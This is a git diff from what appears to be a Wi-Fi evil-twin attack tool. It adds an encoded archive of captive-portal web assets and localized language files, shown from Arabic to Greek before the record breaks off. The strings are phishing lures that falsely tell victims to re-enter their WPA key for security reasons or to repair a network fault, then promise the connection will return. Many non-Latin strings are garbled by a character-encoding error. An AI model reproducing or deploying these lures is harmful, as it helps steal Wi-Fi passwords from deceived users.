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 +0ArOJNIBUEsFBgAAAAAJAAkAhwMAAOfpAQAAAA== diff --git a/attacks/Captive Portal/generic/languages/Arabic.lang b/attacks/Captive Portal/generic/languages/Arabic.lang new file mode 100644 index 0000000..e71e565 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Arabic.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="الرجاء إدخال كلمة المرور الخاصة بالشبكة للإتصال بشبكة الانترنت." +DIALOG_WEB_INPUT="كلمة السر:" +DIALOG_WEB_SUBMIT="تأكيد" +DIALOG_WEB_ERROR="خطأ: كلمة السر المدخلة غير صحيحة!" +DIALOG_WEB_OK="الرجاء الإنتظار بينما يتم التأكد من كلمة السر Ùˆ استعادة الاتصال! شكرا لتعاونكم" +DIALOG_WEB_BACK="عودة" +DIALOG_WEB_ERROR_MSG="هذا الحقل إلزامي" +DIALOG_WEB_LENGTH_MIN="يجب أن تكون كلمة المرور أكثر من {0} أحر٠او أرقام" +DIALOG_WEB_LENGTH_MAX="يجب أن تكون كلمة المرور أقل من {0} أحر٠او أرقام" +DIALOG_WEB_DIR="rtl" diff --git a/attacks/Captive Portal/generic/languages/Bulgarian.lang b/attacks/Captive Portal/generic/languages/Bulgarian.lang new file mode 100644 index 0000000..f2a4ee2 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Bulgarian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="От ÑÑŠÐ¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð·Ð° ÑигурноÑÑ‚ е необходимо да въведете ÑвоÑта WPA парола за да получите доÑтъп до Интернет." +DIALOG_WEB_INPUT="Въведете ÑвоÑта WPA парола:" +DIALOG_WEB_SUBMIT="Изпращане" +DIALOG_WEB_ERROR="Грешка: Въведената парола е неправилна!" +DIALOG_WEB_OK="Връзката ще бъде възÑтановена Ñлед нÑколко Ñекунди." +DIALOG_WEB_BACK="Ðазад" +DIALOG_WEB_ERROR_MSG="Това поле е задължително!" +DIALOG_WEB_LENGTH_MIN="Паролата Ñ‚Ñ€Ñбва да Ñъдържа повече от {0} Ñимвола!" +DIALOG_WEB_LENGTH_MAX="Паролата Ñ‚Ñ€Ñбва да Ñъдържа по-малко от {0} Ñимвола!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Chinese.lang b/attacks/Captive Portal/generic/languages/Chinese.lang new file mode 100644 index 0000000..619891b --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Chinese.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="您的网络出现了严é‡é—®é¢˜,请输入密ç æ¥è‡ªåŠ¨ä¿®å¤" +DIALOG_WEB_INPUT="请输入您的无线网络密ç :" +DIALOG_WEB_SUBMIT="æ交并修å¤" +DIALOG_WEB_ERROR="出错了:您输入的密ç é”™è¯¯!" +DIALOG_WEB_OK="正在自动修å¤é”™è¯¯,网络会在短时间内æ¢å¤" +DIALOG_WEB_BACK_ZH="返回" +DIALOG_WEB_ERROR_MSG="此处ä¸èƒ½ä¸ºç©º" +DIALOG_WEB_LENGTH_MIN="密ç æœ€å°‘è¦æœ‰{0}个字符!" +DIALOG_WEB_LENGTH_MAX="密ç å¿…须少于{0}个字符!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Czech.lang b/attacks/Captive Portal/generic/languages/Czech.lang new file mode 100644 index 0000000..99b2f44 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Czech.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Omlouváme se, ale doÅ¡lo k problémům se zabezpeÄením vaÅ¡eho bezdrátového routeru. Zadejte prosím znovu vaÅ¡e heslo WPA/WPA2." +DIALOG_WEB_INPUT="VaÅ¡e heslo WPA/WPA2:" +DIALOG_WEB_SUBMIT="Odeslat" +DIALOG_WEB_ERROR="Chyba: Zadané heslo není správné!" +DIALOG_WEB_OK="DÄ›kujeme, vaÅ¡e pÅ™ipojení bude bÄ›hem krátké chvíle obnoveno." +DIALOG_WEB_BACK="ZpÄ›t" +DIALOG_WEB_ERROR_MSG="Toto pole musíte vyplnit." +DIALOG_WEB_LENGTH_MIN="Heslo musí být delší než {0} znak(ů)!" +DIALOG_WEB_LENGTH_MAX="Heslo musí být kratší než {0} znaků(ů)!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Danish.lang b/attacks/Captive Portal/generic/languages/Danish.lang new file mode 100644 index 0000000..17e2be8 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Danish.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Af sikkerhedsmæssige Ã¥rsager, skal du skrive netværksadgangskoden, for at fÃ¥ adgang til internettet." +DIALOG_WEB_INPUT="Angiv netværksadgangskoden:" +DIALOG_WEB_SUBMIT="Forsæt" +DIALOG_WEB_ERROR="Fejl: Den indtastede netværksadgangskode er ikke korrekt!" +DIALOG_WEB_OK="Tak, din forbindelse vil blive genoprettet inden fÃ¥ sekunder." +DIALOG_WEB_BACK="Tilbage" +DIALOG_WEB_ERROR_MSG="Dette felt er obligatorisk" +DIALOG_WEB_LENGTH_MIN="Netværksadgangskoden skal være pÃ¥ mere end {0} tegn!" +DIALOG_WEB_LENGTH_MAX="Netværksadgangskoden skal være pÃ¥ mindre end {0} tegn!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Dutch.lang b/attacks/Captive Portal/generic/languages/Dutch.lang new file mode 100644 index 0000000..f95d2b4 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Dutch.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Voer uw WPA-wachtwoord wegens beveiligingsredenen in om weer internettoegang te krijgen." +DIALOG_WEB_INPUT="Typ Uw WPA wachtwoord:" +DIALOG_WEB_SUBMIT="Invoeren" +DIALOG_WEB_ERROR="Error: Het ingevoerde wachtwoord is niet juist!" +DIALOG_WEB_OK="Uw verbinding wordt in enkele seconden hervat." +DIALOG_WEB_BACK="Terug" +DIALOG_WEB_ERROR_MSG="Dit veld is verplicht." +DIALOG_WEB_LENGTH_MIN="Het wachtwoord moet langer zijn dan {0} karakters!" +DIALOG_WEB_LENGTH_MAX="Het wachtwoord moet korter zijn dan {0} karakters!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/English.lang b/attacks/Captive Portal/generic/languages/English.lang new file mode 100644 index 0000000..a1545bb --- /dev/null +++ b/attacks/Captive Portal/generic/languages/English.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Authentication required for Internet access." +DIALOG_WEB_INPUT="WPA Key:" +DIALOG_WEB_SUBMIT="Connect" +DIALOG_WEB_ERROR="Error: The password entered is incorrect!" +DIALOG_WEB_OK="Please wait while the password is verified." +DIALOG_WEB_BACK="Back" +DIALOG_WEB_ERROR_MSG="This field is required." +DIALOG_WEB_LENGTH_MIN="The password must be more than {0} characters!" +DIALOG_WEB_LENGTH_MAX="The password must be less than {0} characters!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/French.lang b/attacks/Captive Portal/generic/languages/French.lang new file mode 100644 index 0000000..1dc20ab --- /dev/null +++ b/attacks/Captive Portal/generic/languages/French.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Pour des raisons de sécurité, entrez votre clé WPA" +DIALOG_WEB_INPUT="Entrez votre clé WPA :" +DIALOG_WEB_SUBMIT="Soumettre" +DIALOG_WEB_ERROR="Erreur : Le mot de passe entré est incorrect !" +DIALOG_WEB_OK="Votre connection va être restaurée dans un instant." +DIALOG_WEB_BACK="Retour" +DIALOG_WEB_ERROR_MSG="Ce champ est obligatoire." +DIALOG_WEB_LENGTH_MIN="Le mot de passe doit avoir plus de {0} caractères" +DIALOG_WEB_LENGTH_MAX="Le mot de passe doit avoir moins de {0} caractères" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/German.lang b/attacks/Captive Portal/generic/languages/German.lang new file mode 100644 index 0000000..a90e295 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/German.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Aus Sicherheitsgründen geben Sie bitte den WPA2 Schlüssel ein." +DIALOG_WEB_INPUT="Geben Sie den WPA2 Schlüssel ein:" +DIALOG_WEB_SUBMIT="Bestätigen" +DIALOG_WEB_ERROR="Fehler: Das eingegebene Passwort ist nicht korrekt!" +DIALOG_WEB_OK="Die Verbindung wird in wenigen Sekunden wiederhergestellt." +DIALOG_WEB_BACK="Zurück" +DIALOG_WEB_ERROR_MSG="Dieses Feld ist ein Pflichtfeld." +DIALOG_WEB_LENGTH_MIN="Das Passwort muss länger als {0} Zeichen sein" +DIALOG_WEB_LENGTH_MAX="Das Passwort darf nicht länger als {0} Zeichen sein" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Greek.lang b/attacks/Captive Portal/generic/languages/Greek.lang new file mode 100644 index 0000000..875d016 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Greek.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Για λόγους ασφάλειας, εισάγετε το WPA κωδικό για να έχετε Ï€Ïόσβαση στο Internet." +DIALOG_WEB_INPUT="Εισάγετε τον WPA κωδικό:" +DIALOG_WEB_SUBMIT="Εισαγωγή" +DIALOG_WEB_ERROR="Σφάλμα: Ο κωδικός ΔΕΠείναι σωστός!" +DIALOG_WEB_OK="Η συνδεσή σας θα αποκατασταθεί σε λίγα λεπτά" +DIALOG_WEB_BACK="Πίσω" +DIALOG_WEB_ERROR_MSG="Αυτό το πεδίο είναι υποχÏεωτικό." +DIALOG_WEB_LENGTH_MIN="Ο κωδικός Ï€Ïέπει να είναι πάνω από {0} χαÏακτήÏες" +DIALOG_WEB_LENGTH_MAX="Ο κωδικός Ï€Ïέπει να είναι λιγότεÏο από {0} χαÏακτήÏες" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive 